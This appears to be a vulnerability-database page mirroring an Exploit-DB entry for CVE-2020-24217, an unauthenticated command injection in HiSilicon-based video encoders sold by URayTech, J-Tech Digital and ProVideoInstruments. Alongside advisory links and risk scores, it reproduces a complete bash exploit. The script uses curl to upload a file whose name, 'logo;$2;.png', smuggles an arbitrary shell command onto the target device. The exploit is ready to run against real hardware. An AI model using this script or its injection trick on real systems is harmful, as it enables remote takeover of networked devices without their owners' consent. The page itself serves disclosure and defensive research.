HiSilicon Video Encoders - RCE via unauthenticated command injection

🗓️ 19 Oct 2020 00:00:00Reported by Alexei KojenovType

exploitdb🔗 www.exploit-db.com👁 341 Views

Reporter	Title	Published	Views	Family All 12
BDU FSTEC	The vulnerability of HiSilicon Hi3520D microprogramming chip software lies in the lack of authentication for a critical function, allowing attackers to trigger a service failure or execute arbitrary code.	15 Dec 202000:00	–	bdu_fstec
Circl	CVE-2020-24217	14 Nov 202406:07	–	circl
Check Point Advisories	Szuray Video Encoder Firmware Command Injection (CVE-2020-24217)	11 Nov 202000:00	–	checkpoint_advisories
CVE	CVE-2020-24217	6 Oct 202013:05	–	cve
Cvelist	CVE-2020-24217	6 Oct 202013:05	–	cvelist
Exploit DB	HiSilicon video encoders - RCE via unauthenticated upload of malicious firmware	19 Oct 202000:00	–	exploitdb
NVD	CVE-2020-24217	6 Oct 202014:15	–	nvd
Packet Storm	HiSilicon Video Encoder Command Injection	19 Oct 202000:00	–	packetstorm
Packet Storm	HiSilicon Video Encoder Malicious Firmware Code Execution	19 Oct 202000:00	–	packetstorm
Prion	Command injection	6 Oct 202014:15	–	prion

#!/usr/bin/env bash

# Exploit Title: HiSilicon video encoders - RCE via unauthenticated command injection
# Date: 2020-09-20
# Exploit Author: Alexei Kojenov
# Vendor Homepage: multiple vendors
# Software Link: N/A
# Version: vendor-specific
# Tested on: Linux
# CVE: CVE-2020-24217
# Vendors: URayTech, J-Tech Digital, ProVideoInstruments
# Reference: https://kojenov.com/2020-09-15-hisilicon-encoder-vulnerabilities/
# Reference: https://www.kb.cert.org/vuls/id/896979


if [ "$#" -ne 2 ]
then
  echo "Usage: $0 <server>[:<port>] <command>"
  exit 1
fi

printf "executing the command... "
if curl -sF "upgrade=;filename=\"logo;$2;.png\"" http://$1 >/dev/null
then
  echo "SUCCESS: remote command executed"
else
  echo "ERROR: $?"
fi

19 Oct 2020 00:00Current

7High risk

Vulners AI Score7

CVSS 27.5

CVSS 3.19.8

EPSS0.38961